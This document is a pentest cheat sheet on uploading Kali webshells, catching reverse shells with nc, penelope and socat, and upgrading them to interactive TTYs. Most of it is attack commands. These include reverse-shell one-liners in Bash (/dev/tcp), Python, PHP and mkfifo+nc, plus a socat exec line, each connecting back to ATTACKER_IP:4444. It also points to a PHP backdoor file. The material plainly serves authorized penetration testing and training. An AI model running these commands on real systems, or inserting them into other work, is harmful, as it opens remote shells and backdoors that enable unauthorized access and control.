Shell — Webshells, Reverse Shells & Upgrade
Ctrl+F:
default linux path·webshells·shell upgrade·stabilize·/usr/share/webshells/php/
External: Internal All The Things — Reverse Shell Cheatsheet External: Internal All The Things — Bind Shell Cheatsheet
Everything after you get any shell — upload a webshell, catch a reverse connection, then upgrade it to a usable interactive TTY.
Commands not found (whoami, cmd)? Fix broken PATH first → Broken PATH - Commands Not Found.
📌 Default Linux paths — Kali webshells
| Path | What it holds |
|---|---|
/usr/share/webshells/php/ | Default Kali PHP webshells — reverse shells, one-liners, cmd shells for file-upload RCE |
/usr/share/webshells/aspx/ | ASP.NET webshells |
/usr/share/webshells/jsp/ | JSP webshells |
/usr/share/webshells/ | Parent directory — other language variants |
# List default PHP webshells (Kali)
ls -la /usr/share/webshells/php/
# Common starting point — edit LHOST/LPORT before upload
cp /usr/share/webshells/php/php-reverse-shell.php /tmp/shell.php
# Set $ip and $port inside the file, or use sedPopular files in /usr/share/webshells/php/:
| File | Use |
|---|---|
php-reverse-shell.php | Classic PentestMonkey reverse shell — edit IP/port |
cmd.php | Simple command execution via GET/POST |
qsd-php-backdoor.php | Minimal backdoor |
See File Upload Bypass · Msfvenom · Netcat
📌 1) Catch a reverse shell (listener)
# Penelope — preferred (auto PTY, upload/download, modules) → **[[Penelope]]**
penelope -O -p 4444
# Basic
nc -lvnp 4444
# Preferred nc — readline history + arrow keys
rlwrap nc -lvnp 4444See Penelope · rlwrap · Netcat · powercat (Windows) · Initial foothold > 📌 8) Shell Delivery & Stabilization
📌 2) Upgrade / stabilize a shell (Linux)
Raw nc shells have no job control, broken tab completion, and Ctrl+C kills the session. Upgrade with a PTY + terminal settings.
Stuck in rbash / restricted shell? → Restricted Shell Escape (vi :shell, PATH export) before upgrading.
Method A — Python PTY (most common)
# Attacker — before or after catch
rlwrap nc -lvnp 4444
# On target (in the dumb shell)
python3 -c 'import pty;pty.spawn("/bin/bash")'
# python -c 'import pty;pty.spawn("/bin/bash")' # if only python2
# Attacker — background the shell briefly
# Press Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 38 columns 116 # match your terminal (check with `stty size` locally)Method B — script
script -qc /bin/bash /dev/null
# Then Ctrl+Z → stty raw -echo; fg → export TERM=xterm (same as above)Method C — socat (cleanest — second connection)
# Attacker — upgraded listener
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Target — may need socat binary transferred
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444📌 3) Windows shells
rlwrap nc -lvnp 4444 # cmd.exe — limitedFor real admin work prefer evil-winrm, Impacket (wmiexec / psexec), or PowerShell reverse shell — see Windows CMD - Powershell Commands · cmd.exe - Shells and One-Liners.
📌 4) Common reverse-shell one-liners
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'
# PHP (from webshell or RCE)
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# mkfifo + nc
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/fGenerate payloads: Msfvenom · Payloads
Full reference (base64 pipe, bash -c, echo, sh, encode your own): Reverse Shell - Base64 bash-c echo and One-Liners
📌 Quick Cheat Sheet
# Default PHP webshell path (Kali)
ls /usr/share/webshells/php/
cp /usr/share/webshells/php/php-reverse-shell.php /tmp/shell.php
# Catch + upgrade
penelope -O -p 4444 # preferred — **[[Penelope]]**
rlwrap nc -lvnp 4444
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → export TERM=xterm